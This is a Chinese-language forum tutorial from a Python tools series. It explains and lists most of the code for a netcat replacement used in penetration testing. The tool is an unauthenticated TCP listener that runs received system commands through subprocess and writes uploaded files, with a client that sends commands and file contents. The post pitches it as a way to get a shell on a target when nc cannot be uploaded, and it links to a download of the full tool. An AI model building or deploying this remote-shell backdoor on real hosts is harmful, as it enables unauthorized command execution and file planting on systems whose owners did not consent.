本帖最后由 HK.JH 于 2022-2-12 21:56 编辑
python小工具学习连载
-取代瑞士军刀-
netcat被誉为网络安全届的瑞士军刀,相信没有什么人不认识他吧,他是一个简单而有用的工具,通过tcp或upd协议的网络连接去读取数据。它被设计成为一个稳定的后门工具,能够直接由其他的程序或脚本驱动,同时,他也是一个功能强大的网络调试和探测工具,能够建立你需要的机会所有类型的网络连接。而相信,在我们的日常工作中,最常用的便是nc的shell功能。但是在实际的渗透测试环境,有时候我们无法上传瑞士军刀,那么如何去使用shell功能呢,这里就给大家分享一个python脚本,可以完美替代瑞士军刀的shell功能。
工具效果
我们在服务器上开启端口监听9999
攻击机尝试连接服务器端口并执行命令以及尝试上
命令成功执行、文件成功上传
实现原理
其实这个工具的实现原理还是较为简单的,如果学习过网络编程,那么肯定一眼就能看懂这个工具是如何实现的,其实就是我们在服务器端开始了一个tcp服务器,然后在攻击机上开启了一个tcp的客户端,用这个客户端去尝试连接服务器并发送信息,服务器通过接受客户端发送的信息,判断客户端要进行什么操作,是文件上传,还是操作系统的命令执行等。
我们还是来看代码,首先在main函数中,设置了判断传入的参数中是否有target,如果有target参数,那么代表着要进行的是客户端的操作,那么就会启动客户端的函数client_sender(),否则则证明的是要进行服务器端操作,启动服务器端函数server_loop()。
# 判断是听还是发送数据
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
client_sender()
if listen:
server_loop()
好了,我们现在来看客户端是如何操作的。
首先,我们创建一个客户端的socket连接,这里主要有两个参数
参数一:family 指定应用程序使用的通信协议的协议族,对于TCP/IP协议族,该参数为AF_INET,以下为该参数的一些常用选项
Family参数 描述
socket.AF_UNIX 只能够用于单一的Unix系统进程间通信
socket.AF_INET 服务器之间网络通信(ipv4)
socket.AF_INET6 IPv6
参数二:type 是要创建套接字的类型,以下为该参数的一些常用选项
Type参数 描述
socket.SOCK_STREAM 流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM 数据报式socket ,当使用UDP时选择此参数
socket.SOCK_RAW 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。
可见,我们建立的是一个ipv4的tcp连接的客户端。然后我们尝试去连接到我们的目标服务器,连接完成之后呢,我们首先循环接受从服务器发送来的信息,直到发送完成。这里有一个recv函数,他代表的是数据缓冲区的大小,也就是一次我们可以从服务器接受多少字节的信息,然后循环接受,直到数据接完毕。
然后将服务器发送给我们的信息打印出来,等待我们输入新的命令,而这里如果我们需要上传文件,根据我们定义的上传命令upload_file=,那么就会在我们输入的字符串中寻找后这个字符串,如果找到了,那么将这个字符串用等号分割开来,假如我们输入了upload_file=test.txt,那么将会返回一个列表,['upload_file','test.txt'],而我们需要的是文件的路径,所以只需要选择列表中的第二个值即可。
因为我们的客户端与服务器端发送数据是以bytes的形式进行发送,而我们input输入的是字符串,所以这里还要通过bytes()函数进行数据类型的转换,这样才能成功的将我们的数据发送给服务器。
好了,这里总结一下客户端进行的流程
创建socket连接->尝试连接目标主机->接受服务器发送的信息->用户输入要发送的信息->将用户输入的内容发送给服务器->接受服务器发送的信息....
def client_sender():
# 创建socket连接
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# 尝试连接到目标主机
client.connect((target,port))
while True:
recv_len = 1
response = bytes("",encoding="utf-8")
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
# 等待更多输入
buffer = input("> ")
if 'upload_file=' in buffer:
f = open(buffer.split('=')[1],'r')
buffer += ',file_msg='
buffer += f.read()
f.close()
buffer += '\n'
buffer = bytes(buffer,encoding="utf-8")
# 客户端发送数据
client.send(buffer)
except:
print("程序执行错误或用户主动退出!")
然后我们来看服务器端。服务器端首先判断监听的ip,然后创建一个socket,将这个socket和我们的服务器ip、端口所绑定,开始监听是否有客户端想要与我们的服务器建立连接,如果收到了,那么创建一个新的线程,并将这个客户端的socket交给client_handler这个函数去运行。
def server_loop():
global target
# 如果没有定义目标,那么要监听所有
if not len(target):
target = "0.0.0.0"
# 创建socket连接
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(((target,port)))
server.listen(5)
while True:
client_socket,addr = server.accept()
# 给一个线程用来处理新的客户端
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start()
然后看服务器用来处理客户端连接的函数。我们首先回看一下客户端的运行流程,与服务器端的连接已经建立完成了,那么客户端现在是在等待我们的服务器给他发送消息,好了,那我们首先给客户端发送消息,告诉他连接已经建立成功。然后就是我们的shell了,客户端在收到服务器发送的消息后,就会提示用户输入内容,并且发送给我们的服务器,那么我们现在服务器就应该在接受客户端发送的消息,ok,知道了这个,我们首先在循环中,接受客户端发送的消息。
而在这个地方就需要进行一个判断了,我们的客户端到底是想要干什么?他是想执行系统的命令呢,还是很想要上传文件呢?我们回头看客户端如果是上传文件,会发送什么给服务器。
这是客户端处理上传文件时的代码,假如我们上传了一个test.txt文件,我们可以看到buffer这个变量,首先他是uplaod_file=test.txt,然后在读取到这个文件之后,他变成了upload_file=test.txt,file_msg=文件内容,所以这个就是我们上传文件时发送给服务器端到内容。
buffer = input("> ")
if 'upload_file=' in buffer:
f = open(buffer.split('=')[1],'r')
buffer += ',file_msg='
buffer += f.read()
f.close()
buffer += '\n'
ok回到我们的服务器,我们该如何处理这个语句呢,我们首先肯定还是判断uplaod_file=这个字符串是否存在于我们服务器接受到的内容中,这里需要注意一下,因为我们服务器收到内容之后,他是bytes的形式,而这里我们需要的是字符串,所以还需要进行一下类型转换。然后我们要判断,那些是文件名、那些内容是文件中的数据。
这里首先我们将字符串以=分割,那么就变成了['upload_file','test.txt,file_msg','文件信息']可以看到此时文件的内容已经出来了,也就是第三个数据,而文件名这里却还需要进行一下分割,再次以“,”来进行分割,成功获取到了我们的文件名。这样,我们就可以像文件中写东西了。但是,要知道,我们收到的数据类型是bytes,我们使用str()函数虽然成功将其转换为字符串,但是还是存在问题,他会是文件内容\n'的形式,所以我们还需要去掉文件内容中头部的的最后3个字符,这样才能正确的写入我们的文件当中。
而如果是命令执行呢,python中执行系统命令的方式还是很多的,这里我采用subprocess库的方式进行系统命令的执行,并且将执行的结果以bytes的方式返回,最后将其发送给客户端即可。然后客户端接受到服务器的数据,便开始了下一次的要求用户输入内容。
而服务器的具体工作流程如下:
创建socket并绑定->接受客户端连接请求->发送连接成功信息->接受客户端发送信息->处理->处理结果发送给客户端。
def client_handler(client_socket):
global upload
global command
client_socket.send(bytes("connect success!",encoding="utf-8"))
while True:
cmd_buffer = bytes("",encoding="utf-8")
while b"\n" not in cmd_buffer:
cmd_buffer+=client_socket.recv(4096)
if 'upload_file=' in str(cmd_buffer):
upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
f = open(upload_file,'w')
f.write(str(cmd_buffer).split('=')[2][0:-3])
f.close()
response = bytes('upload success!',encoding='utf-8')
else:
# 返还命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
最后,再对服务器端和客户端整体工作流程进行一下梳理
服务器创建socket、客户端创建socket->服务器与客户端进行连接->服务器向客户端发送连接成功信息->客户端要求用户输入执行的命令并发送给服务器->服务器收到客户端的命令将其处理,并将结果发送给客户端->客户端收到上一次命令的执行结果,要求用户输入执行的命令
工具下载链接: https://pan.baidu.com/s/1t-NEpLMO4Hl86sbnwi9WZg 提取码: q667 |